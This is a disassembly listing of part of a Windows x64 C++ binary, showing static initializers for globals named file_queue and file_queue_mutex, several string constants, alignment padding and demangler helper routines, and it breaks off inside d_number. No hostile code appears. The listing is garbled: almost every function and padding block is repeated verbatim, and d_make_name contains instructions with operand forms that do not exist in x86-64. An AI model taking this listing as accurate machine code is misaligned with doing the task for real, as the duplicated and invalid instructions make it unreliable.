14000c7bbmov rbp, rsp
14000c7besub rsp, 32
14000c7c2lea rax, [rip+0x1bb877]
14000c7c9mov rcx, rax
14000c7cccall std::mutex::~mutex()
14000c7d1nop
14000c7d2add rsp, 32
14000c7d6pop rbp
14000c7d7ret
14000c7ba
14000c7d8
14000c7d8__tcf_Z10file_queueB5cxx11:
14000c7d8push rbp
14000c7d9mov rbp, rsp
14000c7dcsub rsp, 32
14000c7e0lea rax, [rip+0x1bb869]
14000c7e7mov rcx, rax
14000c7eacall std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::~vector()
14000c7efnop
14000c7f0add rsp, 32
14000c7f4pop rbp
14000c7f5ret
14000c7d8
14000c7d8__tcf_Z10file_queueB5cxx11:
14000c7d8push rbp
14000c7d9mov rbp, rsp
14000c7dcsub rsp, 32
14000c7e0lea rax, [rip+0x1bb869]
14000c7e7mov rcx, rax
14000c7eacall std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::~vector()
14000c7efnop
14000c7f0add rsp, 32
14000c7f4pop rbp
14000c7f5ret
14000c7d8
14000c7f6
14000c7f6__static_initialization_and_destruction_0():
14000c7f6push rbp
14000c7f7push rbx
14000c7f8sub rsp, 136
14000c7fflea rbp, [rsp+128]
14000c807lea rax, [rbp-81]
14000c80bmov [rbp-8], rax
14000c80fnop
14000c810nop
14000c811lea rcx, [rbp-81]
14000c815lea rdx, [rip+0xfd0c4]
14000c81clea rax, [rip+0x1bb85d]
14000c823mov r8, rcx
14000c826mov rcx, rax
14000c829call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c82elea rax, [rbp-81]
14000c832mov rcx, rax
14000c835call std::__new_allocator<char>::~__new_allocator()
14000c83anop
14000c83blea rax, [rip-406]
14000c842mov rcx, rax
14000c845call atexit
14000c84alea rax, [rbp-80]
14000c84emov [rbp-16], rax
14000c852nop
14000c853nop
14000c854lea rcx, [rbp-80]
14000c858lea rdx, [rip+0xfd4b1]
14000c85flea rax, [rip+0x1bb83a]
14000c866mov r8, rcx
14000c869mov rcx, rax
14000c86ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c871lea rax, [rbp-80]
14000c875mov rcx, rax
14000c878call std::__new_allocator<char>::~__new_allocator()
14000c87dnop
14000c87elea rax, [rip-443]
14000c885mov rcx, rax
14000c888call atexit
14000c88dlea rax, [rbp-79]
14000c891mov [rbp-24], rax
14000c895nop
14000c896nop
14000c897lea rcx, [rbp-79]
14000c89blea rdx, [rip+0xfac57]
14000c8a2lea rax, [rip+0x1bb817]
14000c8a9mov r8, rcx
14000c8acmov rcx, rax
14000c8afcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c8b4lea rax, [rbp-79]
14000c8b8mov rcx, rax
14000c8bbcall std::__new_allocator<char>::~__new_allocator()
14000c8c0nop
14000c8c1lea rax, [rip-480]
14000c8c8mov rcx, rax
14000c8cbcall atexit
14000c8d0lea rax, [rbp-78]
14000c8d4mov [rbp-32], rax
14000c8d8nop
14000c8d9nop
14000c8dalea rcx, [rbp-78]
14000c8delea rdx, [rip+0xfd4d3]
14000c8e5lea rax, [rip+0x1bb7f4]
14000c8ecmov r8, rcx
14000c8efmov rcx, rax
14000c8f2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c8f7lea rax, [rbp-78]
14000c8fbmov rcx, rax
14000c8fecall std::__new_allocator<char>::~__new_allocator()
14000c903nop
14000c904lea rax, [rip-517]
14000c90bmov rcx, rax
14000c90ecall atexit
14000c913lea rax, [rbp-77]
14000c917mov [rbp-40], rax
14000c91bnop
14000c91cnop
14000c91dlea rcx, [rbp-77]
14000c921lea rdx, [rip+0xfd828]
14000c928lea rax, [rip+0x1bb7d1]
14000c92fmov r8, rcx
14000c932mov rcx, rax
14000c935call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c93alea rax, [rbp-77]
14000c93emov rcx, rax
14000c941call std::__new_allocator<char>::~__new_allocator()
14000c946nop
14000c947lea rax, [rip-554]
14000c94emov rcx, rax
14000c951call atexit
14000c956lea rax, [rbp-76]
14000c95amov [rbp-48], rax
14000c95enop
14000c95fnop
14000c960lea rcx, [rbp-76]
14000c964lea rdx, [rip+0x12c16d]
14000c96blea rax, [rip+0x1bb7ae]
14000c972mov r8, rcx
14000c975mov rcx, rax
14000c978call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c97dlea rax, [rbp-76]
14000c981mov rcx, rax
14000c984call std::__new_allocator<char>::~__new_allocator()
14000c989nop
14000c98alea rax, [rip-591]
14000c991mov rcx, rax
14000c994call atexit
14000c999lea rax, [rbp-75]
14000c99dmov [rbp-56], rax
14000c9a1nop
14000c9a2nop
14000c9a3lea rcx, [rbp-75]
14000c9a7lea rdx, [rip+0x18417f]
14000c9aelea rax, [rip+0x1bb78b]
14000c9b5mov r8, rcx
14000c9b8mov rcx, rax
14000c9bbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c9c0lea rax, [rbp-75]
14000c9c4mov rcx, rax
14000c9c7call std::__new_allocator<char>::~__new_allocator()
14000c9ccnop
14000c9cdlea rax, [rip-628]
14000c9d4mov rcx, rax
14000c9d7call atexit
14000c9dclea rax, [rbp-74]
14000c9e0mov [rbp-64], rax
14000c9e4nop
14000c9e5nop
14000c9e6lea rcx, [rbp-74]
14000c9ealea rdx, [rip+0x184149]
14000c9f1lea rax, [rip+0x1bb768]
14000c9f8mov r8, rcx
14000c9fbmov rcx, rax
14000c9fecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ca03lea rax, [rbp-74]
14000ca07mov rcx, rax
14000ca0acall std::__new_allocator<char>::~__new_allocator()
14000ca0fnop
14000ca10lea rax, [rip-665]
14000ca17mov rcx, rax
14000ca1acall atexit
14000ca1flea rax, [rbp-73]
14000ca23mov [rbp-72], rax
14000ca27nop
14000ca28nop
14000ca29lea rcx, [rbp-73]
14000ca2dlea rdx, [rip+0xfaac5]
14000ca34lea rax, [rip+0x1bb745]
14000ca3bmov r8, rcx
14000ca3emov rcx, rax
14000ca41call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ca46lea rax, [rbp-73]
14000ca4amov rcx, rax
14000ca4dcall std::__new_allocator<char>::~__new_allocator()
14000ca52nop
14000ca53lea rax, [rip-702]
14000ca5amov rcx, rax
14000ca5dcall atexit
14000ca62lea rax, [rip+0x1bb5d7]
14000ca69mov rcx, rax
14000ca6ccall std::mutex::mutex()
14000ca71lea rax, [rip-702]
14000ca78mov rcx, rax
14000ca7bcall atexit
14000ca80lea rax, [rip+0x1bb5c9]
14000ca87mov rcx, rax
14000ca8acall std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::vector()
14000ca8flea rax, [rip-702]
14000ca96mov rcx, rax
14000ca99call atexit
14000ca9ejmp 0x14000cb97
14000caa3
14000caa3 48 89 c3 48 8d 45 af 48 89 c1 e8 1e 13 H..H.E.H.....
14000cab0 0c 00 90 48 89 d8 48 89 c1 e8 e2 e8 00 00 48 89 ...H..H.......H.
14000cac0 c3 48 8d 45 b0 48 89 c1 e8 03 13 0c 00 90 48 89 .H.E.H........H.
14000cad0 d8 48 89 c1 e8 c7 e8 00 00 48 89 c3 48 8d 45 b1 .H.......H..H.E.
14000cae0 48 89 c1 e8 e8 12 0c 00 90 48 89 d8 48 89 c1 e8 H........H..H...
14000caf0 ac e8 00 00 48 89 c3 48 8d 45 b2 48 89 c1 e8 cd ....H..H.E.H....
14000cb00 12 0c 00 90 48 89 d8 48 89 c1 e8 91 e8 00 00 48 ....H..H.......H
14000cb10 89 c3 48 8d 45 b3 48 89 c1 e8 b2 12 0c 00 90 48 ..H.E.H........H
14000cb20 89 d8 48 89 c1 e8 76 e8 00 00 48 89 c3 48 8d 45 ..H...v...H..H.E
14000cb30 b4 48 89 c1 e8 97 12 0c 00 90 48 89 d8 48 89 c1 .H........H..H..
14000cb40 e8 5b e8 00 00 48 89 c3 48 8d 45 b5 48 89 c1 e8 .[...H..H.E.H...
14000cb50 7c 12 0c 00 90 48 89 d8 48 89 c1 e8 40 e8 00 00 |....H..H...@...
14000cb60 48 89 c3 48 8d 45 b6 48 89 c1 e8 61 12 0c 00 90 H..H.E.H...a....
14000cb70 48 89 d8 48 89 c1 e8 25 e8 00 00 48 89 c3 48 8d H..H...%...H..H.
14000cb80 45 b7 48 89 c1 e8 46 12 0c 00 90 48 89 d8 48 89 E.H...F....H..H.
14000cb90 c1 e8 0a e8 00 00 90 .......
14000cb97
14000cb97loc_14000cb97:
14000cb97add rsp, 136
14000cb9epop rbx
14000cb9fpop rbp
14000cba0ret
14000c7f6
14000c7f6__static_initialization_and_destruction_0():
14000c7f6push rbp
14000c7f7push rbx
14000c7f8sub rsp, 136
14000c7fflea rbp, [rsp+128]
14000c807lea rax, [rbp-81]
14000c80bmov [rbp-8], rax
14000c80fnop
14000c810nop
14000c811lea rcx, [rbp-81]
14000c815lea rdx, [rip+0xfd0c4]
14000c81clea rax, [rip+0x1bb85d]
14000c823mov r8, rcx
14000c826mov rcx, rax
14000c829call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c82elea rax, [rbp-81]
14000c832mov rcx, rax
14000c835call std::__new_allocator<char>::~__new_allocator()
14000c83anop
14000c83blea rax, [rip-406]
14000c842mov rcx, rax
14000c845call atexit
14000c84alea rax, [rbp-80]
14000c84emov [rbp-16], rax
14000c852nop
14000c853nop
14000c854lea rcx, [rbp-80]
14000c858lea rdx, [rip+0xfd4b1]
14000c85flea rax, [rip+0x1bb83a]
14000c866mov r8, rcx
14000c869mov rcx, rax
14000c86ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c871lea rax, [rbp-80]
14000c875mov rcx, rax
14000c878call std::__new_allocator<char>::~__new_allocator()
14000c87dnop
14000c87elea rax, [rip-443]
14000c885mov rcx, rax
14000c888call atexit
14000c88dlea rax, [rbp-79]
14000c891mov [rbp-24], rax
14000c895nop
14000c896nop
14000c897lea rcx, [rbp-79]
14000c89blea rdx, [rip+0xfac57]
14000c8a2lea rax, [rip+0x1bb817]
14000c8a9mov r8, rcx
14000c8acmov rcx, rax
14000c8afcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c8b4lea rax, [rbp-79]
14000c8b8mov rcx, rax
14000c8bbcall std::__new_allocator<char>::~__new_allocator()
14000c8c0nop
14000c8c1lea rax, [rip-480]
14000c8c8mov rcx, rax
14000c8cbcall atexit
14000c8d0lea rax, [rbp-78]
14000c8d4mov [rbp-32], rax
14000c8d8nop
14000c8d9nop
14000c8dalea rcx, [rbp-78]
14000c8delea rdx, [rip+0xfd4d3]
14000c8e5lea rax, [rip+0x1bb7f4]
14000c8ecmov r8, rcx
14000c8efmov rcx, rax
14000c8f2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c8f7lea rax, [rbp-78]
14000c8fbmov rcx, rax
14000c8fecall std::__new_allocator<char>::~__new_allocator()
14000c903nop
14000c904lea rax, [rip-517]
14000c90bmov rcx, rax
14000c90ecall atexit
14000c913lea rax, [rbp-77]
14000c917mov [rbp-40], rax
14000c91bnop
14000c91cnop
14000c91dlea rcx, [rbp-77]
14000c921lea rdx, [rip+0xfd828]
14000c928lea rax, [rip+0x1bb7d1]
14000c92fmov r8, rcx
14000c932mov rcx, rax
14000c935call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c93alea rax, [rbp-77]
14000c93emov rcx, rax
14000c941call std::__new_allocator<char>::~__new_allocator()
14000c946nop
14000c947lea rax, [rip-554]
14000c94emov rcx, rax
14000c951call atexit
14000c956lea rax, [rbp-76]
14000c95amov [rbp-48], rax
14000c95enop
14000c95fnop
14000c960lea rcx, [rbp-76]
14000c964lea rdx, [rip+0x12c16d]
14000c96blea rax, [rip+0x1bb7ae]
14000c972mov r8, rcx
14000c975mov rcx, rax
14000c978call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c97dlea rax, [rbp-76]
14000c981mov rcx, rax
14000c984call std::__new_allocator<char>::~__new_allocator()
14000c989nop
14000c98alea rax, [rip-591]
14000c991mov rcx, rax
14000c994call atexit
14000c999lea rax, [rbp-75]
14000c99dmov [rbp-56], rax
14000c9a1nop
14000c9a2nop
14000c9a3lea rcx, [rbp-75]
14000c9a7lea rdx, [rip+0x18417f]
14000c9aelea rax, [rip+0x1bb78b]
14000c9b5mov r8, rcx
14000c9b8mov rcx, rax
14000c9bbcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000c9c0lea rax, [rbp-75]
14000c9c4mov rcx, rax
14000c9c7call std::__new_allocator<char>::~__new_allocator()
14000c9ccnop
14000c9cdlea rax, [rip-628]
14000c9d4mov rcx, rax
14000c9d7call atexit
14000c9dclea rax, [rbp-74]
14000c9e0mov [rbp-64], rax
14000c9e4nop
14000c9e5nop
14000c9e6lea rcx, [rbp-74]
14000c9ealea rdx, [rip+0x184149]
14000c9f1lea rax, [rip+0x1bb768]
14000c9f8mov r8, rcx
14000c9fbmov rcx, rax
14000c9fecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ca03lea rax, [rbp-74]
14000ca07mov rcx, rax
14000ca0acall std::__new_allocator<char>::~__new_allocator()
14000ca0fnop
14000ca10lea rax, [rip-665]
14000ca17mov rcx, rax
14000ca1acall atexit
14000ca1flea rax, [rbp-73]
14000ca23mov [rbp-72], rax
14000ca27nop
14000ca28nop
14000ca29lea rcx, [rbp-73]
14000ca2dlea rdx, [rip+0xfaac5]
14000ca34lea rax, [rip+0x1bb745]
14000ca3bmov r8, rcx
14000ca3emov rcx, rax
14000ca41call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ca46lea rax, [rbp-73]
14000ca4amov rcx, rax
14000ca4dcall std::__new_allocator<char>::~__new_allocator()
14000ca52nop
14000ca53lea rax, [rip-702]
14000ca5amov rcx, rax
14000ca5dcall atexit
14000ca62lea rax, [rip+0x1bb5d7]
14000ca69mov rcx, rax
14000ca6ccall std::mutex::mutex()
14000ca71lea rax, [rip-702]
14000ca78mov rcx, rax
14000ca7bcall atexit
14000ca80lea rax, [rip+0x1bb5c9]
14000ca87mov rcx, rax
14000ca8acall std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::vector()
14000ca8flea rax, [rip-702]
14000ca96mov rcx, rax
14000ca99call atexit
14000ca9ejmp 0x14000cb97
14000caa3
14000caa3 48 89 c3 48 8d 45 af 48 89 c1 e8 1e 13 H..H.E.H.....
14000cab0 0c 00 90 48 89 d8 48 89 c1 e8 e2 e8 00 00 48 89 ...H..H.......H.
14000cac0 c3 48 8d 45 b0 48 89 c1 e8 03 13 0c 00 90 48 89 .H.E.H........H.
14000cad0 d8 48 89 c1 e8 c7 e8 00 00 48 89 c3 48 8d 45 b1 .H.......H..H.E.
14000cae0 48 89 c1 e8 e8 12 0c 00 90 48 89 d8 48 89 c1 e8 H........H..H...
14000caf0 ac e8 00 00 48 89 c3 48 8d 45 b2 48 89 c1 e8 cd ....H..H.E.H....
14000cb00 12 0c 00 90 48 89 d8 48 89 c1 e8 91 e8 00 00 48 ....H..H.......H
14000cb10 89 c3 48 8d 45 b3 48 89 c1 e8 b2 12 0c 00 90 48 ..H.E.H........H
14000cb20 89 d8 48 89 c1 e8 76 e8 00 00 48 89 c3 48 8d 45 ..H...v...H..H.E
14000cb30 b4 48 89 c1 e8 97 12 0c 00 90 48 89 d8 48 89 c1 .H........H..H..
14000cb40 e8 5b e8 00 00 48 89 c3 48 8d 45 b5 48 89 c1 e8 .[...H..H.E.H...
14000cb50 7c 12 0c 00 90 48 89 d8 48 89 c1 e8 40 e8 00 00 |....H..H...@...
14000cb60 48 89 c3 48 8d 45 b6 48 89 c1 e8 61 12 0c 00 90 H..H.E.H...a....
14000cb70 48 89 d8 48 89 c1 e8 25 e8 00 00 48 89 c3 48 8d H..H...%...H..H.
14000cb80 45 b7 48 89 c1 e8 46 12 0c 00 90 48 89 d8 48 89 E.H...F....H..H.
14000cb90 c1 e8 0a e8 00 00 90 .......
14000cb97
14000cb97loc_14000cb97:
14000cb97add rsp, 136
14000cb9epop rbx
14000cb9fpop rbp
14000cba0ret
14000c7f6
14000cba1
14000cba1_GLOBAL__sub_I_file_queue_mutex:
14000cba1push rbp
14000cba2mov rbp, rsp
14000cba5sub rsp, 32
14000cba9call __static_initialization_and_destruction_0()
14000cbaenop
14000cbafadd rsp, 32
14000cbb3pop rbp
14000cbb4ret
14000cba1
14000cba1_GLOBAL__sub_I_file_queue_mutex:
14000cba1push rbp
14000cba2mov rbp, rsp
14000cba5sub rsp, 32
14000cba9call __static_initialization_and_destruction_0()
14000cbaenop
14000cbafadd rsp, 32
14000cbb3pop rbp
14000cbb4ret
14000cba1
14000cbb5
14000cbb5 // align 0x10
14000cbb5 // align 0x10
14000cbc6
14000cbc6 90 90 ..
14000cbc6 90 90 ..
14000cbce
14000cbce // align 0x10
14000cbce // align 0x10
14000cbd6
14000cbd6 90 90 ..
14000cbd6 90 90 ..
14000cbde
14000cbde // align 0x10
14000cbde // align 0x10
14000cbe6
14000cbe6 90 90 ..
14000cbe6 90 90 ..
14000cbee
14000cbee // align 0x10
14000cbee // align 0x10
14000cbf6
14000cbf6 90 90 ..
14000cbf6 90 90 ..
14000cbfe
14000cbfe // align 0x10
14000cbfe // align 0x10
14000cc06
14000cc06 90 90 ..
14000cc06 90 90 ..
14000cc0e
14000cc0e // align 0x10
14000cc0e // align 0x10
14000cc16
14000cc16 90 90 ..
14000cc16 90 90 ..
14000cc1e
14000cc1e // align 0x10
14000cc1e // align 0x10
14000cc26
14000cc26 90 90 ..
14000cc26 90 90 ..
14000cc2e
14000cc2e // align 0x10
14000cc2e // align 0x10
14000cc36
14000cc36 90 90 ..
14000cc36 90 90 ..
14000cc3e
14000cc3e // align 0x10
14000cc3e // align 0x10
14000cc46
14000cc46 90 90 ..
14000cc46 90 90 ..
14000cc4e
14000cc4e // align 0x10
14000cc4e // align 0x10
14000cc56
14000cc56 90 90 ..
14000cc56 90 90 ..
14000cc5e
14000cc5e // align 0x10
14000cc5e // align 0x10
14000cc66
14000cc66 90 90 ..
14000cc66 90 90 ..
14000cc6e
14000cc6e // align 0x10
14000cc6e // align 0x10
14000cc76
14000cc76 90 90 ..
14000cc76 90 90 ..
14000cc7e
14000cc7e // align 0x10
14000cc7e // align 0x10
14000cc86
14000cc86 90 90 ..
14000cc86 90 90 ..
14000cc8e
14000cc8e // align 0x10
14000cc8e // align 0x10
14000cc96
14000cc96 90 90 ..
14000cc96 90 90 ..
14000cc9e
14000cc9e // align 0x10
14000cc9e // align 0x10
14000cca6
14000cca6 90 90 ..
14000cca6 90 90 ..
14000ccae
14000ccae // align 0x10
14000ccae // align 0x10
14000ccb6
14000ccb6 90 90 ..
14000ccb6 90 90 ..
14000ccbe
14000ccbe // align 0x10
14000ccbe // align 0x10
14000ccc6
14000ccc6 90 90 ..
14000ccc6 90 90 ..
14000ccce
14000ccce // align 0x10
14000ccce // align 0x10
14000ccd6
14000ccd6 90 90 ..
14000ccd6 90 90 ..
14000ccde
14000ccde // align 0x10
14000ccde // align 0x10
14000cce6
14000cce6 90 90 ..
14000cce6 90 90 ..
14000ccee
14000ccee // align 0x10
14000ccee // align 0x10
14000ccf6
14000ccf6 90 90 ..
14000ccf6 90 90 ..
14000ccfe
14000ccfe // align 0x10
14000ccfe // align 0x10
14000cd06
14000cd06 90 90 ..
14000cd06 90 90 ..
14000cd0e
14000cd0e // align 0x10
14000cd0e // align 0x10
14000cd16
14000cd16 90 90 ..
14000cd16 90 90 ..
14000cd1e
14000cd1e // align 0x10
14000cd1e // align 0x10
14000cd26
14000cd26 90 90 ..
14000cd26 90 90 ..
14000cd2e
14000cd2e // align 0x10
14000cd2e // align 0x10
14000cd36
14000cd36 90 90 ..
14000cd36 90 90 ..
14000cd3e
14000cd3e // align 0x10
14000cd3e // align 0x10
14000cd46
14000cd46 90 90 ..
14000cd46 90 90 ..
14000cd4e
14000cd4e // align 0x10
14000cd4e // align 0x10
14000cd56
14000cd56 90 90 ..
14000cd56 90 90 ..
14000cd5e
14000cd5e // align 0x10
14000cd5e // align 0x10
14000cd66
14000cd66 90 90 ..
14000cd66 90 90 ..
14000cd6e
14000cd6e // align 0x10
14000cd6e // align 0x10
14000cd76
14000cd76 90 90 ..
14000cd76 90 90 ..
14000cd7e
14000cd7e // align 0x10
14000cd7e // align 0x10
14000cd86
14000cd86 90 90 ..
14000cd86 90 90 ..
14000cd8e
14000cd8e // align 0x10
14000cd8e // align 0x10
14000cd96
14000cd96 90 90 ..
14000cd96 90 90 ..
14000cd9e
14000cd9e // align 0x10
14000cd9e // align 0x10
14000cda6
14000cda6 90 90 ..
14000cda6 90 90 ..
14000cdae
14000cdae // align 0x10
14000cdae // align 0x10
14000cdb6
14000cdb6 90 90 ..
14000cdb6 90 90 ..
14000cdbe
14000cdbe // align 0x10
14000cdbe // align 0x10
14000cdc6
14000cdc6 90 90 ..
14000cdc6 90 90 ..
14000cdce
14000cdce // align 0x10
14000cdce // align 0x10
14000cdd6
14000cdd6 // align 0x10
14000cdd6 // align 0x10
14000cde6
14000cde6 90 90 ..
14000cde6 90 90 ..
14000cdee
14000cdee // align 0x10
14000cdee // align 0x10
14000cdf6
14000cdf6 // align 0x10
14000cdf6 // align 0x10
14000ce00
14000ce00d_make_comp:
14000ce00mov r10, rcx
14000ce03cmp edx, 80
14000ce06ja 0x14000cee8
14000ce0ccmp edx, 52
14000ce0fja 0x14000ceb0
14000ce15cmp edx, 41
14000ce18jbe 0x14000ce40
14000ce1alea eax, [rdx-42]
14000ce1dcmp eax, 8
14000ce20ja 0x14000cece
14000ce26lea rcx, [rip+0x1867b3]
14000ce2dmovsxd rax, [rcx+4*rax]
14000ce31add rax, rcx
14000ce34jmp rax
14000ce36
14000ce36 66 2e 0f 1f 84 00 00 00 00 00 f.........
14000ce40
14000ce40loc_14000ce40:
14000ce40mov ecx, edx
14000ce42mov eax, 1
14000ce47shl rax, cl
14000ce4amov rcx, 0x2f800fff600
14000ce54test rax, rcx
14000ce57jne 0x14000ced8
14000ce59mov rcx, 0x3fe000000
14000ce63test rax, rcx
14000ce66jne 0x14000ce7e
14000ce68add rcx, 0x200081e
14000ce6ftest rax, rcx
14000ce72je 0x14000cece
14000ce74
14000ce74loc_14000ce74:
14000ce74test r8, r8
14000ce77je 0x14000cece
14000ce79test r9, r9
14000ce7cje 0x14000cece
14000ce7e
14000ce7eloc_14000ce7e:
14000ce7emov ecx, [r10+40]
14000ce82cmp ecx, [r10+44]
14000ce86jge 0x14000cece
14000ce88movsxd rax, ecx
14000ce8badd ecx, 1
14000ce8eshl rax, 5
14000ce92add rax, [r10+32]
14000ce96mov [rax+4], 0
14000ce9emov [r10+40], ecx
14000cea2mov [rax], edx
14000cea4mov [rax+16], r8
14000cea8mov [rax+24], r9
14000ceacret
14000cead
14000cead 0f 1f 00 ...
14000ceb0
14000ceb0loc_14000ceb0:
14000ceb0lea ecx, [rdx-53]
14000ceb3mov eax, 1
14000ceb8shl rax, cl
14000cebbtest eax, 0x1c71107
14000cec0jne 0x14000ced8
14000cec2test eax, 0xa002ef8
14000cec7jne 0x14000ce74
14000cec9cmp edx, 79
14000ceccje 0x14000ce7e
14000cece
14000ceceloc_14000cece:
14000cecexor eax, eax
14000ced0
14000ced0loc_14000ced0:
14000ced0ret
14000ced1
14000ced1 0f 1f 80 00 00 00 00 .......
14000ced8
14000ced8loc_14000ced8:
14000ced8test r8, r8
14000cedbjne 0x14000ce7e
14000ceddxor eax, eax
14000cedfjmp 0x14000ced0
14000cee1
14000cee1 0f 1f 80 00 00 00 00 .......
14000cee8
14000cee8loc_14000cee8:
14000cee8lea eax, [rdx-82]
14000ceebcmp eax, 12
14000ceeeja 0x14000ced8
14000cef0lea rcx, [rip+0x18670d]
14000cef7movsxd rax, [rcx+4*rax]
14000cefbadd rax, rcx
14000cefejmp rax
14000ce00
14000ce00d_make_comp:
14000ce00mov r10, rcx
14000ce03cmp edx, 80
14000ce06ja 0x14000cee8
14000ce0ccmp edx, 52
14000ce0fja 0x14000ceb0
14000ce15cmp edx, 41
14000ce18jbe 0x14000ce40
14000ce1alea eax, [rdx-42]
14000ce1dcmp eax, 8
14000ce20ja 0x14000cece
14000ce26lea rcx, [rip+0x1867b3]
14000ce2dmovsxd rax, [rcx+4*rax]
14000ce31add rax, rcx
14000ce34jmp rax
14000ce36
14000ce36 66 2e 0f 1f 84 00 00 00 00 00 f.........
14000ce40
14000ce40loc_14000ce40:
14000ce40mov ecx, edx
14000ce42mov eax, 1
14000ce47shl rax, cl
14000ce4amov rcx, 0x2f800fff600
14000ce54test rax, rcx
14000ce57jne 0x14000ced8
14000ce59mov rcx, 0x3fe000000
14000ce63test rax, rcx
14000ce66jne 0x14000ce7e
14000ce68add rcx, 0x200081e
14000ce6ftest rax, rcx
14000ce72je 0x14000cece
14000ce74
14000ce74loc_14000ce74:
14000ce74test r8, r8
14000ce77je 0x14000cece
14000ce79test r9, r9
14000ce7cje 0x14000cece
14000ce7e
14000ce7eloc_14000ce7e:
14000ce7emov ecx, [r10+40]
14000ce82cmp ecx, [r10+44]
14000ce86jge 0x14000cece
14000ce88movsxd rax, ecx
14000ce8badd ecx, 1
14000ce8eshl rax, 5
14000ce92add rax, [r10+32]
14000ce96mov [rax+4], 0
14000ce9emov [r10+40], ecx
14000cea2mov [rax], edx
14000cea4mov [rax+16], r8
14000cea8mov [rax+24], r9
14000ceacret
14000cead
14000cead 0f 1f 00 ...
14000ceb0
14000ceb0loc_14000ceb0:
14000ceb0lea ecx, [rdx-53]
14000ceb3mov eax, 1
14000ceb8shl rax, cl
14000cebbtest eax, 0x1c71107
14000cec0jne 0x14000ced8
14000cec2test eax, 0xa002ef8
14000cec7jne 0x14000ce74
14000cec9cmp edx, 79
14000ceccje 0x14000ce7e
14000cece
14000ceceloc_14000cece:
14000cecexor eax, eax
14000ced0
14000ced0loc_14000ced0:
14000ced0ret
14000ced1
14000ced1 0f 1f 80 00 00 00 00 .......
14000ced8
14000ced8loc_14000ced8:
14000ced8test r8, r8
14000cedbjne 0x14000ce7e
14000ceddxor eax, eax
14000cedfjmp 0x14000ced0
14000cee1
14000cee1 0f 1f 80 00 00 00 00 .......
14000cee8
14000cee8loc_14000cee8:
14000cee8lea eax, [rdx-82]
14000ceebcmp eax, 12
14000ceeeja 0x14000ced8
14000cef0lea rcx, [rip+0x18670d]
14000cef7movsxd rax, [rcx+4*rax]
14000cefbadd rax, rcx
14000cefejmp rax
14000ce00
14000cf00
14000cf00d_make_name:
14000cf00mov r9l, [rcx+40]
14000cf04cmp r9l, [rcx+44]
14000cf08jge 0x14000cf50
14000cf0amovsxd rax, r9l
14000cf0dadd r9l, 1
14000cf11shl rax, 5
14000cf15add rax, [rcx+32]
14000cf19mov [rax+4], 0
14000cf21mov [rcx+40], r9l
14000cf25test rdx, rdx
14000cf28je 0x14000cf50
14000cf2atest r8l, r8l
14000cf2djle 0x14000cf50
14000cf2fmov [rax+4], 0
14000cf37mov [rax], 0
14000cf3dmov [rax+16], rdx
14000cf41mov [rax+24], r8l
14000cf45ret
14000cf46
14000cf46 66 2e 0f 1f 84 00 00 00 00 00 f.........
14000cf50
14000cf50loc_14000cf50:
14000cf50xor eax, eax
14000cf52ret
14000cf00
14000cf00d_make_name:
14000cf00mov r9l, [rcx+40]
14000cf04cmp r9l, [rcx+44]
14000cf08jge 0x14000cf50
14000cf0amovsxd rax, r9l
14000cf0dadd r9l, 1
14000cf11shl rax, 5
14000cf15add rax, [rcx+32]
14000cf19mov [rax+4], 0
14000cf21mov [rcx+40], r9l
14000cf25test rdx, rdx
14000cf28je 0x14000cf50
14000cf2atest r8l, r8l
14000cf2djle 0x14000cf50
14000cf2fmov [rax+4], 0
14000cf37mov [rax], 0
14000cf3dmov [rax+16], rdx
14000cf41mov [rax+24], r8l
14000cf45ret
14000cf46
14000cf46 66 2e 0f 1f 84 00 00 00 00 00 f.........
14000cf50
14000cf50loc_14000cf50:
14000cf50xor eax, eax
14000cf52ret
14000cf00
14000cf53
14000cf53 // align 0x10
14000cf53 // align 0x10
14000cf60
14000cf60d_number:
14000cf60mov rdx, [rcx+24]
14000cf64movzx eax, [rdx]
14000cf67mov r8, rcx
14000cf6acmp al, 110
14000cf6cje 0x14000d010
